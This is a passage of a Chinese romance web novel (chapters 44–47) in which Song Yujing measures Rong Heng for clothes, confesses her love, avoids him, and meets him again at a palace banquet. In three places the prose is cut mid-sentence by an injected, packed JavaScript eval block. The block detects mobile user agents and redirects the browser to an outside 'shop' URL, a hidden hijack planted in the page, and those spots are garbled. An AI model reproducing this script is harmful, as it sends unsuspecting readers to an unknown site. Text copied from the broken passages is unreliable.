她往旁边微微歪头,领口与脖颈之间露出一道细小缝隙,再往深里是…… 容珩猛地移开目光,轻轻咬了下口中的软肉,逼迫自己稳定心神,伸手握住她的耳垂。 软而暖。 他无意识地略微用力揉捏几下。 察觉到她似乎一抖,容珩立即说:“失礼了,我……” “没、没事啦。”宋予静打断他道歉的话语,耳尖泛起一丝红晕,“我还是上个月重阳的时候戴过耳坠,可能现在耳洞不明显了,你仔细找找。” 她毫无察觉,还体贴地为他找好了理由。 容珩压下心中莫名的失望,找准耳垂上细小的耳洞,柔声宽慰:“不必害怕,很快的。” “嗯。” 他的手法快而准,戴上一只耳坠时,宋予静只感觉到一阵轻微的不舒适,转瞬消失。 顺利戴好一只耳坠,剩下一只容易很多。 她略微偏移视线,看见他的肩膀,月白色的衣裳绣有暗纹,犹如温柔月色倾泄。 “好了。”容珩的声音近在耳边响起,“应该没有戴歪。” 宋予静转转头,耳坠轻晃,隐约比平时重了一些,她捏住耳坠的白玉花蕊,轻声问:“好看吗?” “好看。”容珩几乎瞬间回答,“很美。” 她揉揉脸颊,试图压住上扬的嘴角。 由容珩作陪,在外游玩到傍晚,又在他的护送下回到家,宋予静摸摸耳坠,脚步轻快地往前走。 “去哪儿玩了?”宋归鸿从转角拐出来,“这么晚才回来。” “就在外面随便逛逛。” 宋归鸿哦了一声,忽然瞪大双眼,几步上前,扭头看向天边落日,再看着她。 “今天的太阳没从西边升起来啊……”他喃喃自语,“你居然会在平时没事的时候戴耳坠……” 宋予静心中一紧,担心兄长追问,连忙转移话题:“哥,我的生辰贺礼准备好了吗?” “哪有人主动开口要贺礼的?”宋归鸿狐疑地打量她,“你跟我说实话,这耳坠怎么回事?” “什么怎么回事。”她含糊其辞,“我就是看这副耳坠漂亮,所以就戴上了呗。” “真的?” “当然是真的。”宋予静不敢待太久,赶紧往前走,“哥,我还有事,先走了。” 一回到瑞雪居,她不管冬雪的疑惑目光,坐在梳妆台前,望着铜镜里的耳坠。 她捏捏耳坠的白玉花蕊,想了想,叫冬雪进来,低声吩咐几句,又写了一封信,让人尽快送给容珩。 44. 决意 宋予静推开院门,率先走进去。 “这是布庄?”容珩跟在后面,“你带我来这里做什么?” 她回头比了个嘘声的手势,他果然不再多问。 “姑娘。”后院的伙计迎上来,“已经按您的吩咐都准备好了。” 宋予静点头,继续往前走到一间屋子前,略一停顿,又回头看了容珩一眼,推门走进去。 屋里依次摆着各色各样的布料,五彩斑斓,飘渺如云,宛若身处浩瀚云霞之中。 她扫视一圈,抓起案上的木尺,转身看着容珩:“你送了我一副耳坠嘛,我思来想去,决定送你一套衣裳,嗯……虽然你可以不缺衣服。” “但你也不缺耳坠。”容珩往前两步,“你亲自裁衣吗?” “怎么可能?”宋予静诧异反问,“你觉得以我的绣工,能裁剪出一身合体的衣裳吗?你也太看得起我了吧?” “咳,是我想岔了。”容珩轻咳一声,“那你今日叫我来这里做什么?” “量尺寸。”她挥挥手里的裁衣尺,视线在他身上来回一圈,“我怕目测不准,到时候裁出来不合身。” 她又拿木尺拍了拍手心,“你先张开手臂,往旁边伸直。” 容珩依言照做。 宋予静站到他的身后,将木尺一端贴在他的手腕,顺着手臂延伸,一路量到另一只手。 随即,她又拐到容珩的前方,同样从手腕开始量,待木尺停到他的胸膛时,忽然听见他问:“你想做哪个季节的衣裳?” “冬衣肯定来不及了。”她按住木尺,“我初步打算是做春衣。” 容珩歉然道:“只是不巧,府里前日才安排人裁剪春衣。” “那就做夏衣。”说完,见他眉间轻蹙,她不由问,“怎么了?难道你有别的想法?” “现在是初冬,衣裳穿得比夏日多,”容珩低头看着胸口的木尺,“量出来的尺寸怕是不大准。” 他说的好像也很有道理。 宋予静看看他身上的衣服,的确比夏天穿得厚。 “先量吧。”她不再纠结,“到时候找几位有经验的裁缝,放小几分,或者干脆做宽松些?” “嗯,都由你。” 量完手臂长度,宋予静示意他稍微蹲下点,木尺贴在他的肩膀,仔细看上面的尺寸,认真记在心里。 容珩忽然转头,轻声问:“你为什么要亲自为我量尺寸?这些活让绣娘来做,不是也行吗?” 好近。 近到她能看清他浓密的睫毛,眼眸深邃,漆黑如同纯正稀少的墨玉,暗藏温润的光,又似乎倒映出她愣怔的模样。 被他的目光吸引,她一不留神,直接说出心里话:“因为我不想别人碰你……” 话音刚落,容珩眼中骤然绽放出璀璨光华,绚烂夺目。 宋予静愣愣地注视他的双眼,热意上涌,热得她脑海晕乎乎的,隐约感觉到他轻轻揽住她的腰。 容珩闭上眼睛,喉结一滚,再睁开时,目光坚定,仿佛一汪潋滟春水,轻柔平和地包裹着她。 “我有句话想告诉你。” 他微启薄唇,吐字间,温热的呼吸若有若无地迎面拂过,伴着她熟悉的清雅淡香。 脑海更加晕成一片浆糊,她只能问出两个字:“什么?” “我心……” “姑娘!您在里面吗?铺子的账务需要您亲自过目。” 布庄管事急切的询问声夹杂短促的敲门声,在屋外同时响起。 宋予静如梦初醒。 她猛地松开手,连连往后倒退,手上一松,木尺哐当一声掉落在地,打破满室寂静。 低头按住狂跳不已的心口,她抓起头发遮住耳朵脸颊,快步走过去打开门。 “什么事?” “姑娘,上月这笔支出有蹊跷。”管事指着账册,“您看,按理说,最近棉布卖得好,但进价比往年高了……” 管事有条有理的分析传入耳中,宋予静大半的心神却在屋子里,在容珩的身上。 “……暂时不必着急,免得打草惊蛇。”她定定心神,沉声道,“你再去查一查别家铺子进货的价钱,先收集好证据。” “是。” 初冬的风带着冷意,她在外面迎风站了一会儿,拍拍脸颊,摸着热意消退不少后,转身走回屋内。 容珩握住掉落的木尺,低垂眼帘,拿帕子慢条斯理地擦拭灰尘。 宋予静走到他的面前,紧紧握住木尺的另一端,久到掌心渗出点点汗意,“你……你刚才想说什么?” 他看着她,久久不语,将木尺还到她的手里,微微一笑:“没什么。” 她想要追问,一时又不知道该问什么,“哦”了一声,只能拿着木尺继续量尺寸。 仔细记好尺寸后,她往前一步,豪气地一摆手,“这些布料都由你选。” 容珩随意地扫了一眼,“你觉得哪种颜色好?” 宋予静看了几圈,拿起一匹魏塘纱,问:“水绿色怎么样?夏天热,纱衣轻薄透气,消暑解热。” 他伸手抚过柔软的轻纱,“好,款式也由你来决定。” “放心,保证不会比国公府的裁缝差。” 宋予静将尺寸交给铺子里的裁缝,吩咐对方不必赶时间,但一定要拿出最好的技艺来裁衣。 回头见容珩还抓住木尺,她便问:“你还想再多裁几身衣裳?” “不是。”容珩放下木尺,与她一起往外走,“接下来去哪里?” 听他这么一问,宋予静一时半会儿还真没想出来要做什么,但她又不愿意这么快跟容珩分开。 她揪住衣袖口,“先去街上看看。” 这一看便看到傍晚时分。 容珩照例送她返回公主府,途径一处低调幽静的宅院时,她慢慢停下脚步。 “怎么了?”他抬头看了眼,“这里好像是你的县主府。” 没想到他居然认得。 宋予静挠挠脸颊,“母亲说之前修缮过,让我抽空进去看看,但最近有点忙,一直都没进去过。” “修缮?”容珩疑问,“令堂为何要修缮县主府?” 想起庆阳长公主所言,她偷瞄几眼他的神情,含糊其辞:“没什么,反正空着也是空着。” 她不想多说,回到公主府侧门处,她看着面带温和笑意的容珩,在心里憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282285|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了许久的话溜到舌尖,又咽了回去。 她还是不敢。 与他告别后,宋予静低头往前走。 回到正院,从侍女处得知宋归鸿还没有回来,她便一个人陪着父母用膳。 席间,她看着替庆阳长公主舀汤夹菜的宋学士,不知为何,忽然想起亲自喂她的容珩。 或许,在他的心里,她和其他人是不一样的吧。 宋予静咬住筷子尖,食不知味地用过晚膳,迟疑开口:“娘,我想问您一些事情。” 庆阳长公主接过宋学士端来的清茶,抿了两口,说:“想问什么?” 她转头看向宋学士,语气暗含祈求,“阿爹,您能先出去吗?我想单独问阿娘。” 宋学士一愣。 “行啦,你出去吧。”庆阳长公主摆摆手,“小女儿家的话,你别听。” 宋学士只得起身。 “娘。”宋予静看着宋学士一步三回头的模样,趴在庆阳长公主的膝上,“您当年和阿爹是怎么认识的?” “嗯?为何突然问起这个?”庆阳长公主撩起她鬓边的碎发,“有什么心事?” 母亲的目光温暖关怀,仿佛一眼看穿她的小心思。 宋予静歪头避开,抠住衣角,“我好奇嘛。” “我当年出宫玩,而你父亲刚从江南来到京城,在码头偶然碰见了……” 庆阳长公主的声音柔和,徐徐讲述当年与宋学士的相识相知相爱。 她认真倾听,在母亲讲到榜下抓婿时,忍不住问:“娘,万一……我是说万一的话,阿爹不答应呢?毕竟爹当年可是年轻有为的探花郎。” “呵。”庆阳长公主轻笑一声,“不答应吗?明明是他先信誓旦旦说出尚公主的话,他要是敢不答应……” 宋予静一抖,背后倏忽生出一股寒意,她搓搓手臂,继续问:“您怎么确定阿爹怀着和您一样的心意?” “直接问。”庆阳长公主回答,“我可不喜欢整那么多弯弯绕绕,试探来试探去,平白将大好时光浪费在这些无聊的事情上。” 听母亲如此说,她莫名有些尴尬,转移话题:“那要是问出来的结果不好,怎么办?” “到时候再说,大不了就说是开个玩笑。”庆阳长公主顿了顿,摆正她的脸,“你是不是也想向谁问些什么?” “没有!” 宋予静矢口否认,迅速起身,“娘,我先回去了。” 说完,她不敢再看庆阳长公主探究的目光,飞快跑到屋外,吩咐侍女去书房请宋学士回来,旋即急匆匆赶往瑞雪居。 月色皎洁,飘渺清辉洒落,为世间万物盖上一层柔和的薄纱。 脑海里骤然浮现容珩的身影,一袭月白色衣袍,目光温柔地注视她。 仅有她一人。 宋予静闭了闭眼。 母亲说的对,要直接勇敢地说出来,不然对方永远都不会知道,临到最后,后悔的只会是自己。 她睁开眼睛,径直走进书房,抽出一张拜帖,提笔迅速写下拜访的言辞。 捏住信封看了半晌,她随即吩咐冬雪明日清晨送往镇国公府。 她要赌一把。 45. 直言 “为何忽然写信说要来国公府?”容珩眉间轻蹙,声音疑惑,含着一丝试探,“还如此着急前来?” 确实有些着急,拜帖昨日清晨才送到镇国公府。 “我在信里写了。”宋予静故作无谓地回答,“一直听说你擅长木雕木工,想向你拜师学艺嘛。” “但是……” “难道你不想教我?”她打断,停在原地叹气,假装往回走,“算了算了,我回去了。” 尚未踏出一步,衣角被人轻轻牵住,容珩无奈的声音紧接着传来:“我教你便是。” 宋予静立即笑起来,反客为主,抓起他的衣袖,“那我们赶紧去。” “不急。”容珩被她拉得往前踉跄两步,“木雕不是三两天便能学会的,慢慢来。” 本来向他学木雕就是一个借口,她顺着他的话头回答:“好。” 镇国公府建得宽阔大气,一步一景,路上所见到的侍从仆妇都很守规矩,垂首行礼后,便退至一旁。 跨过垂花门时,宋予静忽然停下,往后回看。 容珩跟在身侧,“怎么了?” 她摇摇头。 是不是有点太安静了? 她又往两边看看,暂时压住心里的疑惑,犹豫开口:“令尊在府里吗?按礼,我该前去拜访。” “父亲有公务在身,不在府里。”容珩淡声解释,“你不必去见他。” 宋予静松了口气。 两人沿着花园里蜿蜒曲折的小径往前走,拐过一簇海棠树,傲然屹立的假山倏忽出现在眼前,重峦叠嶂,错落有致,一座四角凉亭立在山顶。 宋予静停下脚步,望着凉亭,突然说:“我们去凉亭。” “这……”容珩没有直接答应,“上面风大。” “没事,今天出了太阳,不会很冷的。” 她勾住他的衣袖,直接拉着他往假山上跑,一口气地跑到亭子里。 登高望远,她往四下俯视,花园景色尽览其中。 春夏繁盛的花木几近凋零,略显寂寥萧索,距离假山不远处却是片空地,地面挖出几个坑。 宋予静往前一指,“那里在做什么?” 容珩顺着她指的方向看过去,答道:“准备移植一批桃树,顺利的话,明年春天应该能开花。” “原来种了什么?为什么忽然要改种桃树了?” 容珩转头,定定地望着她,轻声反问:“你不喜欢桃花吗?” “喜欢。” 闻言,宋予静揪住衣袖口,心里生出一点隐秘的希冀,又不敢问出来,靠坐在亭子的栏杆处。 她单手靠在护栏,俯视下方花园景色,视野里出现一只修白如玉的手,指间夹捏一块桃花酥。 五片粉色花瓣裹着中间一点嫩黄色,精巧别致,仿佛春日里刚摘下的一朵桃花。 春色靠得更近,堪堪停在她的嘴边,容珩清润的声音近在耳畔响起:“刚做好的桃花酥,依照你的口味,多放了点糖。” 宋予静转头看他。 容珩坐在她的对面,单手托住装了四五块桃花酥的碟子,视线再往亭子中间的石桌一扫,上面也摆着三四碟糕点,空气里飘散在一股甜香。 她盯着近到唇边的桃花酥,悄悄往后挪了一下,从容珩的手里接过,低头咬下一片花瓣。 确如他所言,很甜。 宋予静一边咀嚼酥脆的桃花酥,一边在脑海里回放昨日练了许久的话,咽下最后一口点心,她抬头看向对面的容珩。 “要吃这个吗?”他往她的方向坐得近了几分,手里又夹着一块白色糕点,“这个是咸口的,你可以尝试一下。” 糕点都快抵到她的唇瓣,她只能低头一咬,含住大半的点心,含糊不清道:“我又不是小孩子了,手指的伤也好了,不用你喂。” 容珩略略点头,手上动作却不停。 一连吃了四五块,宋予静摸摸肚子,摆手拒绝,让他别喂了。 她捧着侍女刚送上来的热茶,轻抿几口,温热的茶水顺过喉咙,舒缓了几分干渴。 亭子里只有她和容珩两个人,府里的侍从都留在假山下,离得很远,不会有人来打扰。 她起身走向石桌,背对容珩而站,借着放茶杯的动作,伸手迅速抚按胸口,压下浓浓紧张。 转身重新坐在容珩的面前,宋予静双手搭在膝上,指尖微微发颤,仍抬头直视他深邃的双眼,在他略显疑惑的目光中,缓缓开口。 “我喜……” 刚开口说了两个字,一阵狂风迅猛刮过,裹着初冬的寒意,冷得她浑身一激灵,鼻翼涌起一阵痒意,剩下两个字被迫消失在舌尖。 “阿嚏!” 接连打了几个喷嚏,宋予静吸吸鼻子,眼角泛起点点泪花,隔着水雾,容珩的身影一时变得模糊。 “我们还是先回屋。” 他迅速站在她的面前,挡住寒风,又取来一件披风,紧紧围在她的身上,仔细系好带子。 “天冷,屋里暖和些,在外面待久了,容易感染风寒。”他顿了顿,“你如果喜欢这里的景色,明年开春再来看,那时候天气暖和,桃花应该也开了。” 暗自准备许久的话没能顺利地一鼓作气说出来,宋予静的心里打起了退堂鼓,胡乱应了声好,起身跟着容珩离开凉亭。 要不尝试再说一次? 她皱眉,恍惚往前一踏,踩到的不是坚硬的石阶,而是略显柔软的披风一角,两侧景色飞快往后倒退,整个人直直往前跌。 “小心!” 容珩急切担心的声音迅速响起,随即,宋予静跌进一个宽厚温暖的怀里,还好只剩最后两级台阶,总算没有摔在地面。 她靠在他的胸口,腰被他坚实的手臂紧紧揽住,头顶传来紧张担忧的询问声:“没事吧?有没有觉得哪里不舒服?” 他身上的暖意慢慢透过来,伴着她熟悉清雅淡香,令她沉迷,不愿离开,更不愿以后还有其他任何人能靠在他的怀里。 她忍不住伸手抱住他,心里刚萌生出的退意悉数退去。 今天一定要说出来。 她迟迟没有回答,容珩的声音变得急躁,连忙吩咐人去请大夫。 “是扭到哪里了吗?很疼?抱歉,我准备的披风太长了,又没有扶着你下石阶。” “我没事。”宋予静从他怀里往后退出两分,看清他眼里的自责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297100|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连忙安慰他,“我真的没有受伤,就是一下子没反应过来。” 怕他不信,她不舍地离开他的怀抱,原地蹦哒两下。 “你看,我就说没事吧。” 容珩终于舒展眉头,离开花园,前往世子院的路上,他一直小心护着她。 跨进世子院的院门,宋予静的视线扫过院落,宽阔干净,栽种两株梅花,尚未开花,枝干疏落。 她婉拒容珩进正屋歇坐的建议,直接跟着他走进后院的罩房。 屋内同样干净,所需的各种工具依次整齐地摆在条案上,空气里飘散着一股浅淡的木头香。 宋予静环顾一圈,最后停在架子上做得七七八八的灯笼骨架,“你在做花灯?” “嗯。”容珩看了一眼,解释道,“之前答应过你,要做一盏花灯。” 四角的灯笼骨架雕刻精巧典雅,一点都不比宫里匠师的手艺差,也不知道他究竟花了多少心思工夫。 她不由劝道:“还没那么快到上元节,你不必着急做花灯。” “嗯,我知道。”容珩从架子上拿起一根木料,整理好衣裳,握住刻刀,“你先看看我是如何雕刻的。” 宋予静应声,蹲坐他的旁边,双膝合拢,手肘撑在膝盖上,托住下巴,目不转睛地看着锋利刻刀流转在银杏木间。 看着看着,视线不受控制地移到那双修白如玉的手,沉稳有力,熟练有度,一点点刻出睡莲花瓣。 她略微往上偏头,由衷赞叹:“你真的好厉害。” “略通一二罢了。” “嗯……我想问你一件事,你不想回答的话,全当我没什么都没说。” 容珩停下雕刻的动作,直盯着她,“你问吧,无论你问什么,我都会回答。” 宋予静先看一眼木料,再看他:“你为什么会学习木雕木工?” 世家公子多学六艺、琴棋书画作文章等等,她几乎不曾听过有谁会学木工,更遑论容珩的技艺看上去还不错。 容珩握住手里的银杏木,低垂眼帘。 “母亲去世得早,临走前,只给我留下一个她的木刻雕像,小时候的我,看着别人都有母亲,只能抱住木雕,告诉自己,我也有母亲,经年累月,雕像纹路日渐模糊,我便开始学习木雕,倒也还学的不错。” 怔怔地听他说完往年旧事,宋予静反应过来,连忙道歉:“对不起!我不该问你这件事的……” “无妨。”容珩打断她,温声宽慰,“已经过去很多年了,我早已习惯。” 她紧紧掐住手心,剩下的道歉话语被迫吞回腹中,她悄悄往前挪动两步,握住他的手,摸到掌心薄薄的茧子,似乎还有些凉。 “你不要伤心。”她抿了抿干燥的唇瓣,“令堂希望你一生平安喜乐。” 容珩轻轻应声,反握住她的手。 宋予静直接捧住他的手,双手不停揉搓,终于驱散掉那股凉意后,抬头看向容珩。 他半阖眼帘,眉心微蹙,昳丽面容没有丝毫笑意,落寞神伤。 心口泛起一阵密密麻麻的刺痛,她眨眨眼睛,压住心尖酸涩,酝酿犹豫许久的话终于直接说出了口。 “我喜欢你。” 46. 躲避 “咚”的一声,容珩手里的木料掉落在地,咕噜噜地滚动,碰到架子脚时,终于停下来。 满室静谧。 宋予静听见自己猛烈跳动的心跳声,连呼吸声都变得急促不已,离得这么近,他应该也听见了吧? 她恍惚抬眸去看容珩。 他朝她俯首靠近,深邃眼眸里闪烁璀璨光华,微启薄唇。 是要拒绝吗? 宋予静猛地撒开他的手,猛蹿起来,匆匆一瞥容珩惊诧的神情,扭头就跑。 一口气跑出世子院,她沿着来时的路,用尽全身力气往前奔跑。 两侧景色急速往后倒退,耳边依稀传来镇国公府侍从慌乱的询问声,甚至还撞到几名侍女。 她压根没心思理会,用尽全身力气跑出镇国公府,钻进家里的马车,大口喘气:“回府!” 车夫被她气喘吁吁满头大汗的样子吓了一大跳,哪敢多问,用力一拍马鞭,马车迅速往前奔走。 宋予静按住心口,狂跳不已,响如擂鼓,甚至盖过马车外行人的喧闹嬉笑声。 她屈起双腿,双手环抱住自己,额头抵在膝盖上,广袖垂落,视野里一片昏暗。 她说出来了。 当着容珩的面前,亲口告诉他,她喜欢他。 可是……然后呢? 呼出的热气困在方寸之间,热意弥漫,她拍拍脸颊,滚烫的热意开始消散。 他会怀着与她一样的心意吗? 还是他会直言拒绝,会厉声斥责她不堪的心思,与她割袍断义,从此不再往来。 宋予静努力往上扯动嘴角,试图从昔日相处的点点滴滴中,找出容珩待她的不同之处。 但愿,她想,与其他人相比,她在他的眼中也是特别的。 * 宋予静趴在书案,下巴搭在左手手背,右手指尖轻缓划过羊脂白玉珩上繁复华丽的纹路。 脑海里浮现的却是容珩的雅致眉眼,昳丽面容,眼眸含着清浅的笑意,温柔地注视着她。 她合拢五指,将白玉珩合拢握在手心。 “姑娘。”冬雪快步走进来,在她的面前放下一封信,“这是容世子派人送来的。” 宋予静坐直,紧攥信封,揉得信封起了褶皱,依旧没有撕开。 “姑娘,送信的小厮还候在后门。”冬雪低声道,“说是您如果有信件或者传话要告诉容公子,可一并交代给小厮。” “……没有。”她摇头,“你让那个小厮走吧。” 冬雪低声叹息:“是。” 宋予静打开紫檀木盒,里面足足放了十几封信,却一封都没有拆开。 将刚收到的信放进去后,她盖上木盒,又握住那枚白玉珩。 那一天她落荒而逃,离开镇国公府,回到家后不久,便听到冬雪禀告,容珩追过来了。 她莫名地不敢见他,让冬雪推脱说她不舒服,劝说他离开。 此后容珩每日都送三四封信过来,一连送了五天,从不间断,有时候甚至还亲自来公主府,想见她一面。 宋予静盯着木盒,咽了口唾沫,慢慢伸出手。 “在不?” 屋外遥遥传来宋归鸿的声音,“有事找你。” 她立即缩回手,迅速藏起木盒,又将玉珩塞进袖子里,方才应道:“在,哥,你进来吧。” 宋予静倒了杯茶,放到兄长的面前,问:“哥,你来找我有什么事?” “喏,给你。” 宋归鸿从背后掏出一个木雕。 一看见那朵黄花梨木雕的睡莲,她眉心一跳,压根没敢去接,“你……你这是从哪里弄来的?” “经过街上摊子时看到的。”他喝了口茶,“我看你最近没什么精神,买回来给你玩。” 她说不出什么心情,低低应了一声,伸手接住睡莲,指腹擦过漂亮的花瓣尖。 “说起来,我昨天傍晚回家的时候,还看到了镇国公府的容世子。”宋归鸿捏捏下巴,“也不知道他在想什么,差点就撞到了马车。” “他没受伤吧?!” 宋予静脱口而出,对上兄长疑惑探究的目光,立即找补:“我……我是怕镇国公府来找我们家的麻烦。” “他没受伤,就是看上去没什么精神的样子。” 得知容珩安然无恙,她松了口气,听见宋归鸿的后半句,刚放下的心又提了起来。 她想多问几句,又怕惹宋归鸿怀疑,低头按住花瓣尖,指腹微微刺痛。 “还有一件事,”幸好宋归鸿没有追问,“外祖母明天在仁寿宫办赏花宴,特意派人传话,说让你一定要去。” “明天?”宋予静皱紧眉,“为什么一定要我去?” “出去走走不好吗?”宋归鸿反问,上下打量她,“你已经很多天没有出门了。” “最近天气开始变冷了,不太想出门。”她低头,抠弄睡莲花瓣,“而且也没有很多天吧?” “是吗?那以前在江南的时候,每次冬天下雪,你不都是第一个跑出去玩雪的吗?”宋归鸿顿了顿,试探性地问,“你是不是遇到什么难事了?” “……没有。”宋予静扬起嘴角,努力露出与往日无异的笑容,“我明天会按时赴宴。” 太后亲自派人传话,她实在不好推拒。 宋归鸿多看了她几眼,不放心地嘱托:“在外祖母跟前露个面就成。” “嗯。” 既然是太后亲自操办的宫宴,还特意点名要她去,宋予静不得不打起精神认真准备。 但听完庆阳长公主的嘱托,她夜里琢磨了一下这些赏花宴背后真正目的,临到第二天进宫前,她选择端庄而不失礼仪,同时并不显眼的装扮。 一路顺利地进宫,走进仁寿宫的正殿内,宋予静刚半屈膝盖,便被太后揽到跟前。 “行礼做什么?”太后笑道,“在我面前,不讲这些礼不礼的。” 她顺势依偎在太后身边,“外祖母,天气渐渐变冷,您平日里可要注意添衣保暖。” “好。”太后拍拍她的手,“倒是你,怎么好像比上次进宫时瘦了很多?有没有按时吃饭?” “没瘦没瘦。”宋予静故作忧愁,“今天早上,我差点连衣服都穿不上了,侍女还说明年的春衣是不是再放宽几分。” “小姑娘家的,还是胖点好。”太后摸摸她的脸,“拿些如意重锦回去,颜色鲜嫩,正适合你这个年纪穿。” 难为太后还记得这些小事,她甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306564|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑应道:“好,等明年开春了,我一定穿进来给外祖母瞧瞧。” 太后笑得更开怀,揽住她又说了半天的话,说出真正目的:“有几家的孩子今日也进宫了,都和你年纪差不多了,出去跟他们聊聊天。” 宋予静握紧太后的手,撒娇道:“外祖母是嫌弃我了吗?怎么要赶我出去?” “你这孩子瞎说什么。”太后点了点她的鼻尖,“快出去跟年轻人一起玩,在这里陪着我一个老婆子做甚?” “外祖母才不老呢。” 她又撒了会儿娇,但太后不为所动,执意要她到外面走走,她暗自叹息一声,只得起身离开正殿。 仁寿宫内建有一方小花园,栽种了不少名贵花木,虽然现在因天气转冷,几近凋零,但景色依旧优美,赏心悦目。 宋予静问过宫女后,特意避开今日赴宴的公子贵女,沿着曲折小径漫步。 初冬时分,两侧树木光秃秃的枝丫横生,树底下堆着最后从枝头飘落的枯叶,萧索枯零。 她看了一会儿,弯腰捡起一片枯黄的杨树叶,捏住叶柄,重重叹息一声。 今早起来时,她还见到太阳出来了,现在天空中飘来阴云,又及一阵冷风刮过,她不由裹紧衣裳,继续往前走。 走进游廊,宋予静扶住朱红色的栏杆,俯视下方的水池,里面养了些金鱼锦鲤,全躲在水底不出来。 水面飘着几片落叶,倒映出岸上假山树木的影子,随风泛起波澜,重新归于平静时,出现一道盛装打扮的身影。 “在下见过宜宁县主。” 她一瞬间皱起脸,苦哈哈地叹气,转身看向来人时,又按着礼仪女官所教的仪态,客套疏离地回答:“公子不必客气。” 来人一身锦袍,绣样色彩缤纷,仿佛恨不得将全部颜色都绣上去,晃得她眼前一花。 她试图辨认对方的身份。 好像是礼部尚书家的?还是太常寺卿家的? 没认出来,她甚至连对方姓什么都不知道。 宋予静没心思留下来,短暂地见礼,立即简单明了地说:“公子自便,我还有事,先行一步。” 对方明显一愣:“县主打算去哪里?不知在下能否有荣幸作陪?” “公子慎言。”她沉下脸,“我做什么,难道还要得到你的应允吗?” 说完,宋予静转身就走,压根不理会留在后面的人。 快走几步离开游廊,她没有听见追上来的脚步声,便放慢脚步,沿着小径继续往前走。 两边有花木逐渐变成层叠的嶙峋山石,宫里的匠师技艺高超,假山雕刻奇特俊妙。 宋予静随意瞥了一眼,决定在殿外独自待几刻钟,能在太后面前有个交代就成。 她又叹了口气,一抬头却看见道熟悉身影,白衣胜雪,曾在梦里出现多次。 容珩站在几步之外,直直地盯着她。 他好像瘦了。 宋予静恍惚地想,但看见他大步朝她走过来,她下意识往后倒退两步,扭头就跑。 即将跑出假山时,身后传来急促沉重的脚步声,由远及近,下一瞬,手腕被他用力抓住,她整个人往后一转,跌进他的怀里。 他轻声哀求:“别走。” 47. 心意 宋予静挣扎了一下,搭在腰背上的手臂一瞬间僵硬,尔后稍微往外挪开一分,依旧将她圈在怀里。 “我喜欢你。” 容珩的声音自头顶上方传来,是她熟悉的清润嗓音,细听之下,含着几分肝肠寸断的相思之意。 她茫然地眨眨眼睛,忍不住伸手掐了把脸颊,用的力气太大,疼得她倒吸一冷气。 不是梦。 宋予静单手抱住他的腰,即使穿的衣裳比之前厚了些,依旧摸得出他瘦了。 她埋首在他的怀里,嗅闻到熟悉的清雅淡香,令她沉迷,也令她悬了多日的心回到原来的位置。 搭在腰间的手靠近一分,虚虚地抱住她。 “抱歉。”容珩饱含歉意的声音响起,“我应该早点将我的心意告诉你,而不是因为害怕,拖到今日才说。” 他也在害怕吗? 宋予静仰头。 容珩低头看着她,眉眼间不像以往含着温和清浅的笑意,蕴满忧思,甚至还有几分憔悴。 对上她的目光,他松开一直抓住她手腕的手,轻轻抚上她的脸颊,“疼吗?为什么要自己掐自己?” 指腹轻柔地抚摸脸颊,抹去残留的疼痛。 “我怕我是在做梦。”她轻声回答。 停在脸上的指尖一顿,旋即一转,宽厚的手掌捧住她的脸,传来阵阵暖意。 “不是梦。”容珩靠近几分,重复诉说他的心意,“我喜欢你。” 宋予静定定看着他,紧锁多日的眉头终于舒展,紧紧抱住他,听见他沉稳有力的心跳声,一点点地加快跳动。 两人一时间都没有说话。 越过他的臂弯,她环顾四周,暂时没有什么人,但一直杵在这里太容易被人发现了。 她扯了下他背后的衣裳,小声建议:“我们去别的地方坐坐,好吗?” 容珩终于放开她,颔首应了声好。 宋予静习惯性勾起他的衣袖,攥在手里,往前走进假山里,确保四处无人,寻了块干净的石头坐下。 她还攥住他的袖子,指尖擦过上面的银色暗纹,呼出一口气,转头看着他,“对不起,我不该一直不见你,也不回你的信,害你担心了。” “我没有怪你。”容珩摇头,“你是不是一封信都没有看过?” 想起被她锁在木盒里的厚厚一沓信,她老实回答:“是,我不敢看,我怕是你写来断交的信。” 她以前从未如此患得患失,那一天对他直言说出自己的心意,消耗了她积攒起来的勇气,只敢躲在家里当缩头乌龟。 “那天你跑得太快了,在半路……”他忽然顿住,旋即若无其事地继续说,“我没能追上你,又不能擅自闯进公主府,只好写信给你。” 结果她一直躲在公主府不出来,还不看信也不回信。 宋予静连忙反握住他的手,继续道歉:“我错了,我保证,以后你写的信,我肯定每一封都认真看,认真回。” “不,你没有错。”容珩的语气异常温柔,“在我面前,无论你做什么,你永远都不会有错。” 喜悦的水泡一个接一个冒出来,在心底漫开,但她没有错过他之前突兀的停顿,问:“那天我离开世子院后,你遇到什么事了吗?” 